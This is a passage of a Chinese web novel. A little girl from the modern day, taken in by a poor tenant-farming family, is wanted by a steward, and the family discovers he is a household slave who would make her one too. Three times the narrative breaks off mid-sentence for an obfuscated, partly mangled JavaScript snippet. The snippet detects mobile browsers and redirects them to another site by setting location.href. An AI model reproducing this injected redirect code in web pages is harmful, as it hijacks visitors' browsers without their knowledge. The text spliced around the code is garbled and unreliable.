安安说不清她现在身处的这个世界哪里奇怪,反正跟她原来的地方处处不同,处处奇怪,点油灯,穿草鞋,伯伯和哥哥们也扎丸子头;没有电灯,没有手机,没有汽车和大楼,也没有爸爸妈妈和警察蜀黍…… 她依旧弄不明白发生了什么事情,她的小脑袋瓜里渐渐明白,爸爸妈妈这次可能真的不要她了。 就像爸爸妈妈以前吓唬她的那样,把她扔到一个很远很远的、她找不到家的地方,再也不要她了。 要说哪里最不适应,最大的不适应大概就是吃饭。 安安这些天吃得最多的就是粥,各种各样的粗粮粥、野菜粥,饼和馒头也都是粗粮,黑乎乎的馒头里可能还夹着筛不干净的麸皮,而且这馒头也不叫“馒头”,叫“炊饼”。张家饭桌上很少有菜,有菜也是一两样蒸煮的蔬菜,几乎没有油,也没有盐,一点都不咸。 因为盐很贵,油更贵。穷得吃不起盐是一句实话。 农家人年节才买二斤肉,熬出猪油来慢慢吃,好不容易买点金贵的菜油还要留着点灯,因此即便百姓人家已经用上了铁锅,可是哪舍得放油炒菜。官盐一斤能买两斗细粮,咸菜不是穷人吃的,穷人也只有农忙时候才舍得吃点咸的。 吃肉就更不可能了,村里不年不节谁家舍得买肉。安安小脑袋瓜里记不清她来多久了,她来了半个月了,半个月没吃肉了。 安安想吃肉。 可是哥哥姐姐也没有肉吃,大家都没有肉吃,哥哥姐姐已经把顶好的零食野果留给她吃了。 ………… 收完豆子,紧赶着翻地耘田,种荞麦。 荞麦这东西是荒年粮,秋播一亩地顶多才能打三五十斤,薄田十几二十斤都是有的,可它耐寒长得快啊,秋播荞麦生长期也就两个月左右,八月间抢着豆茬种下去,赶在霜冻前就能收获,还不耽误来年的春播庄稼,等于多收一茬。 因此这墒情不能耽误,若遇秋粮歉收,这一茬荞麦可就是救命粮。起早贪黑又奋战四五日,把家里的豆茬都种上了荞麦。 这几日,七月带着安安便被派去看场。两个小场倌就呆在大场边上,早晨晒太阳,晌午太阳毒辣了再躲阴凉,七月带着安安斗草抓籽捉蟋蟀,一点都不耽误玩耍。大场上也有其他看场的小孩,有时候大家还可以一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004251|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起玩。 晌午大伯娘耿氏来给她们送饭,顺便把晾晒的黄豆、绿豆和芝麻都翻动一遍,日落时大郎领着几个弟弟妹妹再来堆场,把晾晒的粮食都堆起来盖好。这活儿七月已经很能干了,拿着木锨跟着一起堆,安安人小志气大,人还没有扫把高呢,也拖着扫把非要帮忙。 看着孙子孙女们忙碌,张春山乐呵呵坐在场边休息,作为大家长他要安排好家里的活计,接下来又该准备割稻子了。 “张老丈,”魏庄头远远叫着走过来,拱手笑道,“张老丈,豆子收了?” “豆子收了。”张春山忙站起身来,拱手问道,“魏庄头忙呢?” “忙呢,张老丈,我找你有事。” “您说,您说。”张春山心里不禁忐忑,涨牛米的事情不止他一家,庄头管事吩咐一声就完了,也不必专门来找他说,难不成是他家的田有什么差池? 魏庄头却笑道:“老丈莫急,倒是一桩好事情。”他冲着安安努努嘴问道,“听说这孩子是你家捡来的?” “是。”张春山点头。这事情村里人都知道,也没什么好瞒的,张春山便简略说了一下。 这事魏庄头其实清楚得很,此前他打听安安八字时候便知道了。魏庄头状似随意的口吻道:“张老丈,我看这孩子在你家不少日子了吧,难不成,你家真打算留着养了?” “那倒不是。”张春山道,“魏庄头见笑,您瞧小老儿家里多少张嘴吃饭。小孩子可怜见的,这不是她没地方去么,我已拜托了里正,给她寻一个收养的抵实人家才是。” “那正好。”魏庄头一拍手笑道,“想吃窟窿菜,来个卖藕的,今秋来咱们庄子的梁管事你该知道?他前几日偶然瞧见这孩子,说跟他家夭折的小女长得很像,又听说是捡来的,便生了怜悯,打量着想收养她当自己的女儿呢。” 张春山闻言惊讶,忙问道:“汴京城来的那位梁管事?” “正是。”魏庄头笑道,“你可不知道,咱们这位梁管事可不比寻常管事,他正经是汴京城主家府上的二管家,你瞧瞧他身上穿的,那都是绫罗绸缎,冬日来都是皮袍子,若不是这趟来还有别的事情,这些庄子秋收小事哪劳得动他大驾。” “咱们主家是何等人物,那可是朝廷重臣,京城里赫赫有名的相公。所以要说你家捡的这孩子当真是个有造化的,梁管事若收养她,自然是带回汴京,那高门大户何等的富贵,往后这孩子可要享福喽。可惜这福气旁人羡慕不来,要是能行,我都想把自己的女儿送去。” 张春山可没想到还能有这等好事,不禁也高兴起来,他心下稍稍消化了一下,目光落在安安身上,才发现不知什么时候孙子孙女们都已经停下了动作,一双双眼睛关注地投过来。魏庄头这般谈笑风生,孩子们该听到的都听到了。 话题中心的安安却并无察觉,小人儿还在拖着大扫帚帮忙干活,积极得不行,可是人太小,帮忙便有捣乱的嫌疑了,大郎索性丢下木锨,跑过来把她抱到一旁。 “安安……要走了?”七月眼巴巴看着腊月小声问。 “应该是吧。”腊月也小声道,“七月,他说的要是真的,安安去了就能过上好日子了,你别舍不得。” 8. 第 8 章 七月闷闷不乐回了家。 张春山看着孙子们堆场,张有喜三兄弟干完田里的活儿,便扛着犁耙锄头从田庄先回了家。瞧见七月嘴巴撅老高的样子,张有喜笑着问了一句:“呦,谁又惹我们七月了?” 搁在往常,小女儿“哼”一声便该开始告状了,无非是大哥又怎么成心逗她、二哥不小心放跑了她的蟋蟀……可今儿七月却没有说话,走到宋氏身边用脑袋蹭她。 安安还不知道发生了什么事情,只本能地察觉七月姐姐今天格外不高兴,安安便小尾巴一样默默跟着七月,想要安慰她却不知道该怎么做。 家里人听说后却都十分高兴,这当然是个好事情。张春山当时满口答应,只道要先跟家里人知会一声,魏庄头便说他们明日来接孩子。 张有喜有点发愁,他要怎么跟安安说呀。 小孩好歹在他跟前养了这些日子,乖巧懂事,软绵绵的一个小人儿,话虽然不多,却总是一口一个“伯伯好”,他下田要说“伯伯再见”,来家要问“伯伯累不累”……奶声奶气的小模样叫人没法不喜欢。 别说自家几个孩子了,连他都舍不得。 宋氏却又忍不住担忧起来,私底下跟张有喜道:“也不知那梁管事家里究竟怎样,我们这里也没人认得他,离那么远,连打听都没法打听。” “你莫担心,”张有喜安慰道,“田庄的主家姓梁,是京城里的大官,这总假不了吧?那梁管事既然是他府上的管事,听说还是二管家呢,必定也有些体面的,你看他来一趟派头十足,出门都是骑马坐车,人家汴京城里的日子一准差不了。” “我知道他不穷,”宋氏蹙眉道,“可谁知他到底是什么样人,能不能好生善待这孩子?你忘了那焦虫儿了,装的好人,我险些就被他骗了。老话说人心隔肚皮,这不知根不知底的事情,谁知道呢。” 张有喜笑道:“他不是说因为安安像他夭折的女儿吗,你也不想想,他既然千里迢迢把个孩子带回汴京收养,难不成是为了苛待她?再说人家有钱,不缺吃不缺穿的,那可是汴京城,普天下顶好的富贵地方,多少人想去还去不成呢。” “你呀,这不放心那不放心,那你把她留下来养可好,你看看咱家,咱家什么日子?我瞧着那孩子来了以后都瘦了。” 张有喜这话叫宋氏也沉默了,半晌没作声。 宋氏拿了一块粗布包袱,把一件改小给安安换洗的旧夹衣包了,又拿出安安来时身上穿的衣服和洞洞鞋放进去。 这些东西得让那梁管事帮孩子收着,宋氏心想,总归是孩子的一点念想,万一她将来还能遇见自己的亲爹娘呢。 次日,说好的梁管事就要来接孩子了。荞麦刚种下去,秫秫还得几日再收,暂且是个不算忙的间隙,张家人便都没下田,都在家里等着。 小孩子是敏感的,安安一早便察觉家里气氛有些不对,哥哥姐姐都不太高兴的样子。她还刚起床呢,大哥就跑来使劲摸她的头,也不说话,把她头发都揉乱了,还捏她的脸玩,两手把她的腮帮子挤成小猪脸。 七月抗议地推开大哥,自己却忍不住问:“安安,你要是走了,会想我吗?” 当然会呀,安安点着小脑袋,小脑袋里纳闷了一下,她要走了吗,她要去哪里? “安安会想姐姐的。”安安认真说道,“可是安安没有要走呀。” “安安,你要去汴京了。”张银哥跑过来说道,“安安,我娘说你要进城享福了,我还有点舍不得你呢。” “就你能。”二郎不高兴地推了张银哥一下撵他,“你还不去洗漱,今日轮到你放羊了,快走。” 张银哥转身跑去洗脸,安安也被腊月牵着去洗漱,一边走,一边小孩子还在发呆,呆呼呼地问腊月:“姐姐,安安要走了吗,安安要回家了吗?” 可是安安找不到家了呀,也找不到警察蜀黍。 腊月不知道怎么跟她解释。腊月倒了水叫她洗脸,又给她梳头,梳好头去堂屋吃早饭。 家里人都在,见安安进来,不自觉地带笑看她。 “啧,瞧瞧咱们安安,这一走,可就是汴京城里富贵人家的小娘子了。”吴氏笑道,“我就说这孩子生的白白嫩嫩,一看就有福气吧。” “是个有福气的丫头。”余氏也笑道。 “安安,过来吃饭。”张春山道,“往后去了新家,要好好听话。” 安安包子脸愣怔一下,本能地转头去找张有喜,问道:“伯伯,你要把安安送走了吗?” 张有喜心里一梗,含糊道:“吃饭吃饭,吃完饭再跟你说。” “三叔,弟妹,”吴氏问道,“你们还没告诉她呀?” 小孩虽小,却一心的数。宋氏顿了顿说道:“这孩子聪明的紧,我……我还没顾上跟她说呢,我寻思那梁管事来接孩子,肯定得想法子哄她吧?” 既然来接收养的孩子,宋氏心想,想必会带点儿吃的喝的、新衣裳什么的,把个孩子好好哄哄,等梁管事自己把孩子哄好了带走,也省得她这会儿白白惹得小孩哭。 可是安安却隐约听懂了,她要被送走了,不是回家,要去一个陌生的新地方。小孩微张着嘴愣了愣,憋着嘴,眼睛里慢慢冒出了水光,那眼睛轻轻一眨,两颗眼泪珠子便掉了下来。 她也不大声哭闹,她就那么扁着嘴,张大眼睛看着你,憋得鼻子一抽一抽掉眼泪。 她一哭,几个哥哥姐姐也都忍不住了。旁人还好,七月已经开始抽鼻子,拿袖子胡乱擦眼泪。 “嗐,你这孩子,你别哭呀。”张有喜赶紧把安安抱起来,给她擦擦眼泪哄道,“安安,不是伯伯不留你,伯伯家里太穷了,你看你都瘦了,伯伯给你找了个新家,有吃有穿,新爹娘会好好疼你的。” 小孩在他怀里,却张着手要宋氏,宋氏接过来抱在怀里,安安把脑袋埋在宋氏脖颈上,憋着鼻音央求:“姨母,安安听话,别让安安走,安安不想要新爹娘。” 七月哇一声哭了出来。 七月哭着说道:“娘,安安不走不行吗,她这么小,一点点东西就吃饱了,咱们把她留下吧。” 一屋子大人真是又心酸又好笑,连忙都来哄孩子。余氏笑着劝道:“七月,小妹妹是去京城,去富贵人家享福了,好吃好穿,可比咱们家强多了。” “就是就是,”吴氏附和道,“莫说安安,若是人家肯要,我都想把你堂哥堂姐都送去。” 大人笑孩子哭,大早上的一团乱,好容易把孩子们都哄消停了,大门口来了一辆骡车,梁管事那边接孩子的人到了。 来了三个人,一个梁管事身边跑腿的小厮,两个田庄上的妇人,其中一个魏娘子张家人认得,是魏庄头的媳妇,穿衣打扮很是体面,平日也会在庄子上管些妇人的活计。 梁管事自己却没来。 “梁管事原是要亲自来的,今日恰巧有要事,一早进城去拜访知州大人去了。”跟来的小厮解释道。 既如此,张家人尽管心中嘀咕,却也不好说什么,知州大人那是多大的官,那必然真有要紧事情,便把三人请到堂屋去坐。 魏娘子一瞧见安安便笑道:“这就是那孩子?啧啧,我就听说这孩子长得好,瞧这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004252|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉雪可爱的粉团子一样,难怪叫梁管事一眼喜欢上了,非要带回家养做女儿呢。” 张家人心里多少舍不得孩子,沉闷的不怎么说话,那魏娘子倒是能说会道的,说说笑笑不至于冷了场。 据魏娘子所说,梁管事特意派她们两个妇人来接孩子,接到庄子上便由她们先照看一阵子,等梁管事手头的事情都办完了,再带孩子一起回京。 “这些衣裳也不用拿了,”魏娘子指着宋氏准备的包袱笑道,“你们只管放心,今儿咱们接了孩子回去,明儿就给她从头换到脚后跟,你们不信只管去瞧,保证一色儿的细布新衣裳。” “要说这孩子可真是好命,庄子里多少人羡慕呢。你们可不知道,梁管事这回在咱们庄子上,也挑了三个模样周正的家生子,一个小子两个丫头,都是五六岁上的,挑去汴京主家府里伺候了,被挑中的家里都欢喜坏了,自家孩子总算出人头地,再不用在这庄子上吃苦种田了。” 魏娘子语气一转道,“不过咱们这孩子可就不一样了,那是梁管事要正经认作女儿的,去了就是梁管事家的小女,比他们那些个可不同,府里谁不得高看一眼。” 宋氏看看张有喜,张有喜便开口问道:“五六岁的丫头小子,怕也不能干活,挑去做什么?” “嗐,这你就不懂了。”魏娘子道,“那些真正富贵的高门大户,府里都是要蓄奴的,近身的下人一般只用家生子,精挑细选,从五六岁上就养在府里专门调|教,大一些才能选到主子身边伺候。若能在主子跟前得脸,那便是穿金戴银、吃香喝辣的好日子,命好的飞上枝头做主子也是有的,而今朝廷律法还可以自赎其身呢。” 张有喜脸色变了变,立刻便想到了那焦虫儿,怕再被骗一回,忙追问道:“梁管事既是府中的管事,那安安是去给他做女儿的,可不用干活伺候人吧?” 魏娘子愣了下,随即笑道:“具体这高门大户的事情,我一个庄仆妇人哪里懂,不过梁管事是府里二管家,他的女儿即便在府里做事,想必也比一般人不同。” 旁边小厮接着说道:“那是自然。便是我们府里的丫鬟,也比一般富户家的女郎来得气派。” 张有喜稍稍放心,又问起梁管事家里情形、几个孩子,魏娘子只说她也不甚清楚,梁管事是汴京主家府上来的,庄仆们只有小心奉承的份,哪轮得到他们问东问西。 张有喜索性问旁边的小厮:“小哥见笑,不知梁管事在府中是个怎样的族亲关系,他是梁相公的近房,还是远房旁支?” “你这叫什么话?”那小厮一脸惊吓的表情说道,“梁管事是府里的管事,服侍主子的下人,他跟相公叙什么族亲远近?” 张有喜脸色一白,看向宋氏,宋氏脸色顿时也变了。 “他不是姓梁吗?”张有喜艰难问道。 “府里得用的家奴大都随主人姓。”那小厮道,“高门大户的规矩你不懂,这原是主人赏下的体面,可不是什么人都能随主子姓的,主子也更高看这些本姓家奴一眼,大户人家历来如此。梁管事是家生子,他祖上追随梁氏先祖上过战场的,他家在府里素来很受重用。” 那小厮满满一副替梁管事夸耀的骄傲口气,听在张有喜耳中却只留下两个字,家奴,家奴,奴…… 这下子张有喜脸色再也撑不住了,一张脸发白,汗都下来了。 这可怎生是好! 人,他们得罪不起,纵然是个家奴他们也得罪不起,都已经答应了的,可……张有喜看着那小厮一张一合的嘴,头脑嗡嗡地响,奴啊,奴,他怎能把人家的孩子生生推入奴籍! 9. 第 9 章 人前人五人六,人后也不过是个家奴。 那一刻,张有喜心中无比懊恼,怎就没事前问清楚。他们这样的一介乡野小民,几辈子佃农,他们哪懂那些大宅门里的事情。 只看那梁管事穿金戴银,骑马坐车,甚至还前呼后拥跟着好几个跑腿伺候的小厮随从,便一厢情愿地以为他是梁家人,是那主家梁相公的亲戚族人……这是错到哪里去了! 哪想到啊。 一时间张有喜和宋氏六神无主,整个人发慌,不光他们,在场的张家人也都面面相觑,不知该作何反应了。 那小厮和魏娘子是何等人,察言观色的本事一流的,当下便察觉不对,两人换了个眼色,魏娘子便笑道:“说着说着扯远了,若没有旁的事,我们便接了孩子家去了?” “啊,那……这……我……”张有喜支吾半天没说成句,着急地去看他爹,张春山眉头紧锁却没看他。 “啊,行,那……我去给孩子拿些东西。”倒是宋氏最先开了口,笑笑说道,“魏娘子稍等,我去给她收拾收拾。” 宋氏起身往外走,经过七月身边时拉了一把,把七月拉到门外,附在她耳边小声道:“大声地哭!”一边说,一边就在她大腿上用力一拧。 “啊……”七月顿时爆发出一声惊天动的嚎哭。 屋里人唬了一跳,几个小孩最先跑了出来,张有喜随后出来,一看闺女那个样,福至心灵,立刻扯着嗓子嚷嚷道:“七月,七月你别哭呀,七月你这是舍不得小妹妹吗?”一边说,一边偷偷推了二郎一下。 二郎:“呜呜……我也舍不得妹妹!” 七月此刻只明白一件事,不能让他们把安安带走!于是七月往地上一坐,放开嗓门,搓脚打滚地大声哭嚎起来。 “哇……我不让妹妹走,我舍不得妹妹……” 她这么一嚎,安安也吓得哇一声跟着大哭起来,真哭。 安安一边哭,一边不知所措地想把七月拉起来,被大郎一把抄起来抱在怀里。 “爹,爷爷……”大郎转向张春山,红着眼睛道,“爷爷,安安在咱家好好的,为什么非要把她送走?” 七月则冲着魏娘子他们嚷道:“你们走吧,快走,我不让妹妹走,她不愿意跟你们去。” “七月,你这气人孩子!”宋氏口中责怪,转头抱歉道,“魏娘子,对不住啊,这孩子在咱家养了二十几日了吧,几个孩子整日在一起,一下子分开怪不舍的。要不……” “赶紧哄哄吧,瞧孩子哭成这样。”魏娘子强笑道。 “魏娘子勿怪,这孩子是家中老小,惯坏了,该打。”张有喜说着便作势要去打七月,其他人哪能是死的,腊月连忙护住七月道:“爹,你别打妹妹,她都哭成这样了。” 张有田也赶紧上前拦住,劝道:“老三,可不能打孩子,她才几岁,你跟她慢慢说。” 一时间孩子哭,大人闹,七嘴八舌乱作一团。宋氏一脸头疼地向魏娘子道:“魏娘子对不住,这厢给您赔礼了,您看这事弄的,要不您跟梁管事说说,这孩子真是当不起他抬举,他大人大量……” 魏娘子明白,看样子今日这孩子他们是带不走了,小孩被大郎紧紧抱在怀里,他们再如何也是奴籍庄仆,偏能做主的梁管事又没来,难道他们还能上手硬抢不成? 可她这一趟差事没办成,回去不好交代,她男人一定会怪她。 “要不就缓一缓吧,”魏娘子没容宋氏说完便抢先道,“梁管事那边眼下也不着急回京,还得留些时日呢,那就再烦劳张娘子帮着照看几日,给孩子们缓一缓,改日我们再来接。” 说着那魏娘子不轻不重敲打道,“张娘子下回可要跟你家孩子说通了,不然这事弄的,梁管事怪罪下来,我们反正是担当不起。” “诶,诶,魏娘子莫怪……”宋氏连声陪着不是,魏娘子和那小厮彼此使了个眼色,两人面色不虞,寒着脸告辞了离去。 他们一走,张家人面面相觑,都有点撑不住了。 “爹,您看这事……” 张春山看看张有喜,半晌叹气道:“怨我,我怎就没问清楚,一口答应了呢!” “爹,您别这么说,这谁能知道啊。”这事要怪谁,便是张春山提早知道了,还得敢拒绝呀。 “只是眼下怎么弄?”张有田道,“莫说那梁管事,便是魏庄头,我们也开罪不起。” 一片愁云惨雾。 “反正不能给他,咱不能把人家孩子推进火坑,这不是缺德丧良心么。”张有喜道。 “要不就说……孩子病了?”张有田迟疑道。 “这么小的孩子要怎么装病?”吴氏道,“病了可以治,人家也不是傻的。” 张春山愁眉紧锁地挥挥手,叫他们都先散去吧,等他好生想一想。 大人孩子各自散去,宋氏和腊月顾不得别的,先忙着拾掇两个哭得鼻涕眼泪的孩子,打水给七月和安安洗脸。 吴氏跟着张有福回到东厢房,小声嘀咕道:“要我说,什么奴籍不奴籍,你看看那梁管事,不是比我们体面多了?就连来的那小厮身上穿的也都是细布。那好歹是汴京城里的高门大户,何等的富贵。” “你少多嘴!”张有福训斥道,“孩子是老三家捡的,上头还有爹娘做主呢,有你什么事。你一个妇道人家,没的乱插嘴。” 吴氏抢白道:“那你说怎办,难不成为了个捡来的不相干的孩子,弄得咱们张家得罪人,咱们得罪得起吗?那小孩他三房又没打算留着养,总要送出去的,给人家就是,给谁不是给,人家去了梁府吃香喝辣,总比受穷强。” 老张家佃着梁庄的地,端着人家的饭碗,不管魏庄头还是那梁管事,哪一个是他们能得罪的? ………… 梁管事白日去州府办事,事情没办成,原本心情就不大好,听到随行小厮把张家发生的事一说,梁管事脸色便阴沉下来。 一个佃户,还嫌他是个奴籍了?嗬! “梁叔莫生气,乡下庄户短见识,那张家人不识好歹,回头给点颜色就懂事了。”小厮道。 “嗯。”梁管事点头,沉着脸道,“一个捡来的孩子,我原也不是非要不可,只是这点事情都办不成,岂不叫我损了脸面?” 那孩子,当日他见她面相好,寻思着不过一个佃户的女儿,少不得给几贯钱买回去就是,即便他看错了,只冲着她那眉眼容貌将来也亏不了,结果一打听竟是那佃户家中捡来的,并且正在寻人收养,简直是瞌睡有人递枕头。 “不过……” 梁管事沉吟半晌,那小厮原本即刻就打算出去发威,闻言又停住了脚步,垂手等着梁管事发话。 梁管事此番来,其实是为了帮家主买下另一处几十顷的庄子,光稀缺的水田就有六百亩,像这等大宗田产明面上不好交易的,因此他今日才去拜访知州大人,本该很好说话的事情,知州大人今日却找了借口推诿,说御史近日咬人咬的凶,叫他等上一等。 家主如今求田问舍,广置产业,原也是作态给自己留退路。 当今官家子嗣艰难,一连三个皇子都没养住,因此这些年朝中一直有重臣奏请官家过继入嗣,继承大统,这其中就有他家主子梁相公。原本过继的养子都选定了,人都被接进宫中教养了,谁知官家年近五旬,中宫皇后四旬年纪一朝有孕,却忽然生出了嫡子。 千顷地里一棵苗,谁也不知道这棵独苗能不能养住,毕竟官家前后十几个孩子都夭折了,只养大了四个公主。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004253|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如今官家年事已高,而独苗太子才只有七岁。若是……濮王府上位,梁相公自然是泼天的富贵。而若是这太子立住了,梁相公在朝中多少有些微妙,大约要乞骸骨致仕,以退为进,保一个告老荣退的体面。 百足之虫死而不僵,偌大的梁氏家族,再谋起复就是。 想起知州大人含糊推诿的态度,梁管事沉思片刻吩咐小厮:“你生个法子,回京前把那小孩给我弄来就行,不过,行事和缓一些,切不可招摇鲁莽。” 于是张家人惴惴不安纠结了两日,倒也平安无事,第三天,白日里魏庄头找上张春山,也没说旁的话,只是很客气地问他明年打算佃多少田,又说要多给他几亩上好的水田。 当晚,里正又忽然上门来了。 里正一副推心置腹的样子,跟张春山道:“日前魏庄头找我了,他念着与你家这些年的交情,也不想叫大家难堪,只是灯不拨不亮,话是要说明白的。” “要说你当真短见识,像你们这样,一家子不识得两个字,又没见过世面,只那点死脑筋,真真什么也不懂。你瞧着那梁管事是个家奴,是不是就不肯把孩子给他,怕那孩子入了奴籍?” “心是好心,我知道你一家子都是良善人。可你也不想想,就说那魏庄头吧,他也是个奴,还只是个离京城大老远的庄仆,可人家混得怎样?手里捏着你们几百佃户的饭碗呢,谁敢小瞧了他?莫说你们,我都得让他三分。” “你再说那梁管事,宰相门前七品官,你懂不懂?莫说你,便是咱们知州大人也不敢慢待了他。多少人巴结都巴结不上,他早就攒下了一份家业,若是他想,早该自赎其身、脱出奴籍了吧,他为何不肯?还不是背靠大树好乘凉,倚靠着梁府的大富贵呢。” “不说他们,你就说庄上那些寻常的庄仆吧,你瞧着人家是奴籍,其实人家比你们稳当,平日里跟你们佃户一样的分成,可灾荒年是不是比你们日子好过?” 那倒是,灾荒年主家会拿出粮食来救济庄仆,可不会管佃户死活,毕竟庄仆也是主家的家产,庄仆饿死了是主家的损失。要不怎么一到灾荒年,便有那么多人卖身为奴呢。斗升小民,哪有那许多无用的气节,无非求一个温饱活命。 张春山被里正说得嘴里仄声游移,犹豫地拿不定主意。 “所以你莫要耽误人家孩子的前程了!”里正最后一句重击道,“心是好心,说难听点,你这就叫不识好歹。你想一想,那孩子样貌又好,又得了梁管事喜欢,带去京城,没准就有一个出头之日,再差也能有个衣食安稳的日子。留在咱们这穷乡僻壤的小地方,又没有亲生爹娘依靠,她能有什么好前程?” 张春山不由得被说服了。就连一旁的张有喜竟也觉得有几分道理,等里正一走,赶紧回屋找宋氏商量。 可宋氏一听就炸了。 “奴籍这样好,怎不叫他里正卖身当奴去?”宋氏气呼呼道,“那庄子上的庄仆你还不知道,可有半点自由?许多人一辈子都没出过庄子,尤其女子,随便就被主家指了嫁人,瞎眼瘸腿的都得嫁,若运气不好指去嫁到别的庄子,这一辈子就再见不到爹娘亲人了。” “身在奴籍,主家打死了都没人管,子孙后代都为奴。你便说那魏娘子吧,”宋氏嗤声道,“打量着谁不知道呢,早年的事情我可听说了,那魏娘子原是府里哪个主子的通房丫鬟,指望着抬个妾呢,只因一句话得罪了主母,便被大老远发落到这庄子上嫁人,如今男人当上庄头,倒把她拽起来了,却来坑人家的孩子?” 张有喜惊诧,竟有这等事?这些妇人八卦他可真没听说过。 “你还不信,庄子里上了年纪的庄仆妇人都知道。”宋氏道。 张有喜挠头:“那,那你说怎办?” 10. 第 10 章 一句话把宋氏也问蔫了。 她说怎办,她又能怎办,她也不过是一个乡下农妇,门都没出过几回,最远只走过回娘家的路。 “爹,娘!”大郎咣当推开房门,“爹,娘,反正不能把安安给他,安安是我捡的,我这就抱她逃山上去,我打猎砍柴也能养活她,不连累家里!” 你听听这话说的! 张有喜气得窜下床沿一脚踹过去,指着骂道:“把你能耐坏了是不是?兔崽子!你有骨气,你有本事,你有本事你说你不是我儿子、不是你爷的孙子,你跟咱家脱离关系,不然怎么叫不连累家里?” 大郎:“……” 宋氏呵斥道,“你说你这孩子,还不快给你爹认错!” “……”大郎顿了顿,瓮声道,“我错了。” 张有喜扭头看看门口挤着的四个孩子,腊月、二郎、七月、安安……哼,一个都没少。 小孩子有些话听了不好,张有喜瞪瞪眼睛呵斥腊月:“腊月,把弟弟妹妹领走,大人忙,没的跑来添乱。” 腊月听话,弯腰抱起安安就走,二郎和七月赶紧灰溜溜跟上。 张有喜看看自己这个长子,好大儿分明一脸的憋屈不服气,张有喜头疼地都不想说他了。 宋氏揉揉眉心,忽然道:“其实倒也是个法子……” “你也跟着他裹乱?”张有喜指责的眼神。 “你别急啊,”宋氏琢磨道,“要不,干脆叫大郎带着安安去他舅家躲几日,对外就说大郎舍不得小妹妹,为这事跟家里置气,带着小妹妹离家出走了,不知跑哪儿去了。我寻思,反正只是个半大孩子,便是那梁管事来了,又能拿他怎样?” “你当人家傻呢!”张有喜无奈道。 “我管他傻不傻,这样咱不就公开表明咱们的态度了吗。”宋氏道,“先拖些日子,光天化日的,事情张扬出去,他就算是什么相公家奴,他也不能强抢人家的孩子吧。” 张有喜:“……” 他居然开始觉得这法子似乎、大概,好像可行? 没招了也不失为一个歪招,管怎么过了这一关,那梁管事总不能一直呆在这儿不走。不过—— 张有喜道:“先不说能不能应付过去,这事还是先跟爹娘商量吧,没有咱们两个自说自话的道理。” 那是,最终还得听公婆长辈的,宋氏挥挥手,叫张有喜赶紧去商量。 然而张有喜一开口,一大家子人便起了争论。里正那番话还是颇有说服力的,魏庄头又适时地软硬兼施,加上担心被梁管事他们拿捏报复。 余氏道:“老三,你也不能什么都听你屋里的,她一个妇道人家,她比人家里正还懂?那怎么人家都说去京城好。” 张有福附和:“就是就是,老三,这事有爹娘做主,再说你总得先顾着自己家里,咱们这一大家子人呢。” 三兄弟纷纷看向张春山,张春山沉默半晌,却问道:“老三,这孩子不给梁管事,你要怎么安置她,你能给她找个更好的人家收养?” 张有喜答不上来,索性道:“爹,眼下也只能走一步算一步,反正不能就这么叫她落入奴籍吧?” 张春山道:“我这把年纪了,原也没多少见识,我总不能不顾自家儿孙吧。别忘了你自己还有四个孩子呢,安安那孩子我也喜欢,可你又养不了,又不能给她寻个更好的去处。” 五个孩子又不是非得饿死!张有喜话到嘴边,斟酌道:“爹,小孩子可怜见的,也不多她一口饭吃。” “老三,你认真的?”张有福惊讶地睁大眼睛道,“你都四个孩子了,旁的不说,你能给她饭吃,将来你哪讨钱来给她嫁人?” 他三个孩子他都发愁,大姐儿嫁妆还没着落呢,金哥眼看又该说亲了……儿女都是债,老三自己两个女儿了,还要再养一个捡来的,他们家出得起嫁妆吗。 毕竟,厚嫁的观念根深蒂固,你既养了女儿,就该给她陪嫁,不然叫她在婆家怎么活? 张有喜话既然出了口,索性坦荡了,便说道:“我哪想那么远,先活着再说。” “你这叫顾头不顾腚,什么糊涂话。”余氏道,拿眼睛觑着张春山的脸色,“他爹,你说句话呀。” 张春山沉默半晌,却问张有田:“老大,你说呢?” “我……”张有田迟疑道,“老三,这不是小事,你可得想好了,再说这一来……咱家可就明摆着把那梁管事、魏庄头都得罪了。” “你大哥说得对。”张春山道,“这不是小事,更不是你一房的事情。” 张有喜不语,这确实不是他一房的事情,大家大口过日子,他还是老三。 正当张有喜以为他爹要一口否决的时候,张春山却又沉吟道:“老三啊,这事情太大了,你容我想想,咱家里再好生商量一下。” 张有福忍不住说道:“爹,您这么说,那梁庄那边……” “走一步算一步。”张春山道,“他魏庄头又不是官府,今年又要涨牛米,实在不行咱就不佃他的田,咱不行走远点,佃别处的田。他梁庄也不能生吃了人吧?” 佃别处的田……张有福一噎,谁不知道方圆好几里都是梁家的田,再说他们不佃梁庄的田,人家就不能拿捏他们了?可当着张有喜的面,张有福却又不敢跟他爹顶嘴。 